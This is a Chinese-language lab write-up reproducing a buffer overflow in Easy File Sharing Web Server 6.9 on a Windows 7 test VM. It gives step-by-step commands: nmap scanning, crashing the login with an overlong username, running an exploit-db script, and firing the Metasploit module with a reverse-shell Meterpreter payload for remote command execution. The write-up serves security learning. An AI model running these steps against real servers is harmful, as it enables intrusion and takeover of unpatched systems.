Easy File Sharing Web Server 6.9 缓冲区溢出漏洞

漏洞介绍

由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。

复现环境

攻击机:Kali-Linux-2021.2-vmware-amd64 192.168.xxx.xxx

靶机:Win7 旗舰版 192.168.xxx.xxx

服务程序:Easy File Sharing Web Server 2018

服务端口: 80

过程

靶机准备工作

查看靶机的ip地址:

ipconfig

1

在靶机上安装(一路默认)并且打开 Easy File Sharing Web Server 2018 程序

image-20211103145433836

不购买,选择Try it!

Screenshot 2021-11-03 145520

注意到HTTP服务的端口是80端口

kali探测

打开kali终端,键入

nmap 目标靶机ip地址/24

发现目标靶机ip打开了80端口,开放了HTTP服务

Screenshot 2021-11-03 140032

在终端键入:

nmap -sV 目标靶机ip地址 

Screenshot 2021-11-03 140143

可以发现目标靶机80端口的http服务版本是 Easy File Sharing Web Server httpd 6.9 ,这个版本存在缓冲区溢出漏洞

漏洞利用

接来我们在kali上打开浏览器输入:

目标靶机ip地址:80   (注意英文符号以及无空格)

Screenshot 2021-11-03 150555

发现进入了 Easy File Sharing Web Server的登入页

Screenshot 2021-11-03 143531

当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出

经测试当输入5000个字符时,会发生该漏洞

这里我用python生成5000个“a“:

Screenshot 2021-11-03 151029

将这5000个字符输入到Username中,不用输入密码,点击登入

发现该网页无反应

打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。

Screenshot 2021-11-03 151512

到这里这个漏洞就已经简单的复习成功了,但是想要进一步利用漏洞怎么办呢?

利用kali自带脚本攻击

在靶机上重启服务程序,我们在kali终端中键入:

searchsploit easy file sharing

这一行命令的功能是 在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本

Screenshot 2021-11-03 140458

这里我们选择的漏洞利用脚本是

Screenshot 2021-11-03 152623

虽然这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的但是它对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃

使用这个脚本的命令如下:

python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80

在终端中键入上述命令:

Screenshot 2021-11-03 153006

现在查看目标靶机,发现目标靶机已经弹计算器并且程序崩溃了

Screenshot 2021-11-03 152545

也可以尝试kali漏洞利用脚本库里的其他脚本进行攻击,这里就演示这一种,读者可以自行尝试。

利用metasploit进行漏洞利用

在kali终端键入

msfconsole

进入msf控制台

Screenshot 2021-11-03 153441

键入

search EasyFileSharing

找到EasyFileSharing漏洞的利用模块:

Screenshot 2021-11-03 153644

选择 2015年的这个利用模块,键入

use exploit/windows/http/easyfilesharing_seh

然后msf会提示你:

No payload configured, defaulting to windows/meterpreter/reverse_tcp

即还没有进行配置

键入,

show options

查看配置选项

Screenshot 2021-11-03 155544

发现目标ip地址还没被设置

键入,

set RHOSTS 目标靶机的ip地址

设置目标ip地址为测试靶机的ip地址

然后执行攻击模块,输入

exploit

Screenshot 2021-11-03 155827

发现模块执行成功,然后你就可以执行任意你想要执行的命令

Screenshot 2021-11-03 160138